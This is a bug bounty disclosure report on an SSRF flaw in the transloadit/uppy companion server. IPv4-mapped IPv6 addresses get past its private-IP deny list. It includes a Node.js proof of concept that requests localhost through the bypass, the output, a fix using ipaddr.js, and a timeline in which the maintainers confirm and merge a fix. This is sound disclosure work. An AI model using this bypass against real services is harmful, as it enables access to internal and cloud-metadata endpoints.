Server-Side Request Forgery (SSRF) in transloadit/uppy

Valid

Reported on

Dec 30th 2021


Description

Uppy is vulnerable to SSRF through IPv4-mapped IPv6 addresses - https://www.ibm.com/docs/en/zos/2.1.0?topic=addresses-ipv4-mapped-ipv6

The report at https://hackerone.com/reports/786956 does not fix it because it uses a easily bypassable deny list in https://github.com/transloadit/uppy/blob/main/packages/%40uppy/companion/src/server/helpers/request.js#L28L80. From my understanding, there are two mechanisms to check if an IP address is private. isPrivateIP and dnsLookup, both rely on the isPrivateIP to check for private IP address. However, isPrivateIP faills to check for IPv4-mapped IPv6 addresses (example: ::ffff:7f00:2), which contain a double colon in front that isPrivateIP fails to check. ::ffff:7f00:2 translates to 127.0.0.2 but is not detected by isPrivateIP or the dnsLookup function

You may use a tool to convert any IPv4 address to IPv6 here: https://iplocation.io/ipv4-to-ipv6/

Proof of Concept

I extracted out the key functions, for convenience, let me know if this isn't enough:

const request = require('request')
const dns = require ('dns')

ip = "::ffff:7f00:2"

function isPrivateIP (ipAddress) {
  let isPrivate = false
  // Build the list of IP prefix for V4 and V6 addresses
  const ipPrefix = []
  // Add prefix for loopback addresses
  ipPrefix.push('127.')
  ipPrefix.push('0.')
  // Add IP V4 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Private_network
  ipPrefix.push('10.')
  ipPrefix.push('172.16.')
  ipPrefix.push('172.17.')
  ipPrefix.push('172.18.')
  ipPrefix.push('172.19.')
  ipPrefix.push('172.20.')
  ipPrefix.push('172.21.')
  ipPrefix.push('172.22.')
  ipPrefix.push('172.23.')
  ipPrefix.push('172.24.')
  ipPrefix.push('172.25.')
  ipPrefix.push('172.26.')
  ipPrefix.push('172.27.')
  ipPrefix.push('172.28.')
  ipPrefix.push('172.29.')
  ipPrefix.push('172.30.')
  ipPrefix.push('172.31.')
  ipPrefix.push('192.168.')
  ipPrefix.push('169.254.')
  // Add IP V6 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Unique_local_address
  // See https://en.wikipedia.org/wiki/Private_network
  // See https://simpledns.com/private-ipv6
  ipPrefix.push('fc')
  ipPrefix.push('fd')
  ipPrefix.push('fe')
  ipPrefix.push('ff')
  ipPrefix.push('::1')
  // Verify the provided IP address
  // Remove whitespace characters from the beginning/end of the string
  // and convert it to lower case
  // Lower case is for preventing any IPV6 case bypass using mixed case
  // depending on the source used to get the IP address
  const ipToVerify = ipAddress.trim().toLowerCase()
  // Perform the check against the list of prefix
  for (const prefix of ipPrefix) {
    if (ipToVerify.startsWith(prefix)) {
      isPrivate = true
      break
    }
  }

  return isPrivate
}

// Mechanism 1 - IP itself
console.log(isPrivateIP(ip))

// Mechanism 2 - DNS Lookup
dns.lookup(ip, (err, address, family) => {
  console.log('address: %j family: IPv%s', address, family);
  console.log(isPrivateIP(address))
});

// This goes to localhost
request('http://[' + ip + ']', function (error, response, body) {
  console.error('error:', error); // Print the error if one occurred
  console.log('statusCode:', response && response.statusCode); // Print the response status code if a response was received
  console.log('body:', body); // Print the HTML for the Google homepage.
});

The output:

isPrivateIP says its public
address: "::ffff:7f00:2" family: IPv6
dnsLookup says its public
body: 
[request body of http://127.0.0.2]

Impact

This vulnerability is capable of SSRF to any IP address, including private and cloud IP address.

Recommended Fix

The https://www.npmjs.com/package/ipaddr.js/ package can be used to determine if an IP address is public or private instead of trying to catch all possible private IP addresses.

var ipAddr = require('ipaddr.js')

// BAD
console.log(ipAddr.parse("127.0.0.1").range())
console.log(ipAddr.parse("192.168.0.1").range())
console.log(ipAddr.parse("::ffff:7f00:2").range())
console.log(ipAddr.parse("fd12:3456:789a:1::1").range())

// GOOD
console.log(ipAddr.parse("142.251.12.138").range())
console.log(ipAddr.parse("2600::").range())

unicast = good.

loopback
private
ipv4Mapped
uniqueLocal
unicast
unicast
We are processing your report and will contact the transloadit/uppy team within 24 hours. a month ago
haxatron modified their report
a month ago
We have contacted a member of the transloadit/uppy team and are waiting to hear back a month ago
We have sent a follow up to the transloadit/uppy team. We will try again in 7 days. 25 days ago
Mikael Finstad validated this vulnerability 25 days ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Mikael Finstad confirmed that a fix has been merged on fc137e 24 days ago
The fix bounty has been dropped